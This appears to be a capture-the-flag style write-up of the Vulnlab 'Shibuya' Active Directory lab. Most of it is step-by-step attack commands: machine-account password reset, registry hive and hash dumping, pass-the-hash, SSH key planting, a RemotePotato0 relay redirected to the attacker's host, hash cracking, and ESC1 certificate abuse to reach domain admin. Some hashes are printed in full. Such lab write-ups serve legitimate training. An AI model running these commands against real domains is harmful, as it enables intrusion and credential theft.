VL-Shibuya

Vulnlab Shibuya: Active Directory Penetration Testing Walkthrough

This comprehensive Vulnlab walkthrough details my step-by-step approach to compromising the Shibuya Active Directory environment. Starting with initial enumeration and discovery of a pre-created machine account, I leveraged various offensive security techniques including Kerberos authentication, password spraying, and registry hive extraction to gain a foothold. The attack path progressed through cross-session relay attacks and ultimately achieved domain admin privileges via vulnerable certificate templates (ESC1). This penetration testing guide demonstrates practical exploitation of common Active Directory security misconfigurations found in enterprise environments, providing valuable insights for both offensive security professionals and defenders.

Initial Enumeration

Initial port scan revealed multiple open ports indicating an Active Directory environment:

PORT      STATE SERVICE       REASON          VERSION
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos 
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory 
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory 
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|   Target_Name: SHIBUYA
|   NetBIOS_Domain_Name: SHIBUYA
|   NetBIOS_Computer_Name: AWSJPDC0522
|   DNS_Domain_Name: shibuya.vl
|   DNS_Computer_Name: AWSJPDC0522.shibuya.vl
|   DNS_Tree_Name: shibuya.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-04-09T09:02:13+00:00
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49939/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49965/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49997/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

SMB Enumeration

First, I checked for null sessions, but access was denied:

netexec smb shibuya.vl -u 'hello' -p '' --shares

User Enumeration

I used Kerbrute to identify valid users in the domain:

./kerbrute userenum --dc 10.10.82.222 -d shibuya.vl /usr/share/wordlists/seclists/Usernames/Names/names.txt

Exploiting Pre-created Machine Account

I discovered a machine account named RED$ which was pre-created. According to Microsoft documentation, these accounts can have their passwords changed:

netexec smb shibuya.vl -u 'RED$' -p 'red' --shares

We can authenticate using Kerberos:

netexec smb shibuya.vl -u 'RED$' -p 'red' --shares --kerberos

I changed the password for easier access:

impacket-changepasswd 'shibuya.vl/RED$':red@shibuya.vl -newpass 'HelloWorld123@' -dc-ip AWSJPDC0522.shibuya.vl -p rpc-samr

Share Access and Enumeration

With our new credentials, I connected to the shares:

smbclient //10.10.82.222/users -U 'RED$'

Found users:

Administrator
All Users
Default
Default User
nigel.mills
simon.watson

Service Account Discovery

I enumerated users and found an interesting service account with credentials in the description:

netexec smb shibuya.vl -u 'RED$' -p 'HelloWorld123@' --users

Found credentials: svc_autojoin : <HELLNO>
Using these credentials allowed access to more shares:

netexec smb shibuya.vl -u 'svc_autojoin' -p '' --shares

Registry Hive Extraction

I connected to an images share with potentially useful data:

smbclient //10.10.82.222/images$ -U 'svc_autojoin'

I extracted a Windows Image (WIM) file containing registry hives:

smbclient //10.10.82.222/images$ -U 'svc_autojoin' -c 'timeout 120; iosize 16384; get \AWSJPWK0222-02.wim'

sudo wimmountrw AWSJPWK0222-02.wim 1 /mnt/wim_mount

After mounting, I extracted the SAM, SYSTEM, and SECURITY hives and ran secretsdump:

secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

From the output, I found interesting hashes, including an operator hash and a cached domain logon:

[*] Dumping cached domain logon information (domain/username:hash)
SHIBUYA.VL/Simon.Watson:$DCC2$10240#Simon.Watson#04b20c71b23baf7a3025f40b3409e325: (2025-02-16 11:17:56)

Gaining User Access

The hash for Simon didn’t work directly, but password spraying with the operator hash worked:

netexec smb shibuya.vl -u 'Simon.Watson' -H <HASH> --shares

While WinRM didn’t work, I remembered port 22 (SSH) was open. I uploaded an SSH key via SMB to gain shell access:

netexec smb shibuya.vl -u 'Simon.Watson' -H <HASH> --shares

ssh-keygen -t rsa -b 4096 -f simon

smbclient //10.10.78.105/users -U shibuya.vl/Simon.Watson --pw-nt-hash <HASH> -c 'mkdir simon.watson/.ssh; put /home/kali/.ssh/simon.w.pub simon.watson/.ssh/authorized_keys'

ssh -i ~/.ssh/simon Simon.Watson@10.10.94.60

Active Directory Reconnaissance

I uploaded SharpHound to collect AD data:

.\SharpHound.exe -c All

Downloaded the results for analysis:

smbclient //10.10.78.105/users -U shibuya.vl/Simon.Watson --pw-nt-hash <HASH> -c 'get "simon.watson/20250410065413_BloodHound.zip" Shibuya_BloodHound.zip'

Cross-Session Relay Attack

BloodHound analysis revealed two users with active sessions: Simon.Watson (which we already owned) and Nigel.Mills. I decided to perform a cross-session relay attack to compromise Nigel.Mills’s account.

First, I uploaded RemotePotato0 (which evades antivirus detection):

smbclient //10.10.78.105/users -U shibuya.vl/Simon.Watson --pw-nt-hash 5d8c3d1a20bd63f60f469f6763ca0d50 -c 'put /home/panosoiko/Downloads/RemotePotato0.exe simon.watson/RemotePotato0.exe'

On the victim machine:

.\RemotePotato0.exe -m 2 -s 1 -x 10.8.5.195 -p 8080

On the attacker machine:

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.78.105:8080

I cracked the captured hash:

hashcat -m 5600 hash322.txt /usr/share/wordlists/rockyou.txt

Credentials obtained: nigel.mills : Sail2.......

Privilege Escalation via Certificate Templates

BloodHound revealed that Nigel could RDP to the machine and had certificate enrollment permissions:


I set up an SSH tunnel to access LDAP services:

ssh -R 1080 -N sshuser@10.8.5.195

Used Certipy to analyze the certificate templates:

proxychains4 -q certipy find -target 10.10.78.105 -dc-ip 10.10.78.105 -u 'nigel.mills@shibuya.vl' -p '' -debug

Found vulnerabilities in ESC1, ESC2, and ESC3. Decided to exploit ESC1 as it’s the easiest:

First attempt at exploiting the certificate template:

proxychains4 -q certipy req -dc-ip 10.10.78.105 -target-ip 10.10.78.105 -template ShibuyaWeb -ca shibuya-AWSJPDC0522-CA -u nigel.mills@shibuya.vl -p '' -upn administrator@shibuya.vl -key-size 4096 -debug

This didn’t work. Looking closer at the template, I noticed that _admin was the owner:

Object Control Permissions
   Owner: SHIBUYA.VL\_admin

Due to certificate-based authentication changes (KB5014754), I needed to include the SID when requesting a certificate:
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16?preview=true

proxychains4 -q certipy req -u nigel.mills@shibuya.vl -p PASS -ca shibuya-AWSJPDC0522-CA -target 10.10.78.105 -target-ip 10.10.78.105 -template ShibuyaWeb -upn '_admin@shibuya.vl' -key-size 4096 -sid 'S-1-5-21-87560095-894484815-3652015022-500' -debug

proxychains4 -q certipy auth -pfx _admin.pfx -dc-ip 10.10.78.105

Finally, I used Evil-WinRM to access the domain controller as _admin:

proxychains4 -q evil-winrm -i 10.10.78.105 -u '_admin' -H <HASH>

Success! Domain admin access achieved.

https://api.vulnlab.com/api/v1/share?id=1e23a5da-28c7-4613-b7ed-b106bc9b90b0